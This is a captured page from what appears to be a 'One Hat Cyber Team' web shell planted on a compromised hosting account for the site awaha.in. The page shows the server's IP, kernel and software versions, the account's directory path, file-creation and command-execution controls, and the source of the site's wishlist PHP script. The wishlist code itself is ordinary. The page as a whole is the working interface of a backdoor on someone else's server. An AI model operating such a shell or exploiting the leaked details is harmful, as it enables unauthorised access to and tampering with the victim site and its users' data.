One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
91.108.106.45
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
View File Name :
toggle-wishlist.php
<?php session_name('vaishnavi_awaha'); session_start(); include 'connect.inc.php'; // Include the correct database connection file $user_id = $_SESSION['user_id'] ?? null; // Get the logged-in user ID $product_id = $_POST['product_id'] ?? null; if (!$user_id || !$product_id) { echo json_encode(['status' => 'error', 'message' => 'Invalid request']); exit; } // Check if the product is already in the wishlist $query = "SELECT * FROM wishlist WHERE user_id = ? AND product_id = ?"; $stmt = $conn->prepare($query); $stmt->bind_param("ii", $user_id, $product_id); $stmt->execute(); $result = $stmt->get_result(); if ($result->num_rows > 0) { // Product is in the wishlist, so remove it $deleteQuery = "DELETE FROM wishlist WHERE user_id = ? AND product_id = ?"; $stmt = $conn->prepare($deleteQuery); $stmt->bind_param("ii", $user_id, $product_id); $stmt->execute(); echo json_encode(['status' => 'removed']); } else { // Product is not in the wishlist, so add it $insertQuery = "INSERT INTO wishlist (user_id, product_id) VALUES (?, ?)"; $stmt = $conn->prepare($insertQuery); $stmt->bind_param("ii", $user_id, $product_id); $stmt->execute(); echo json_encode(['status' => 'added']); } $stmt->close(); $conn->close(); ?>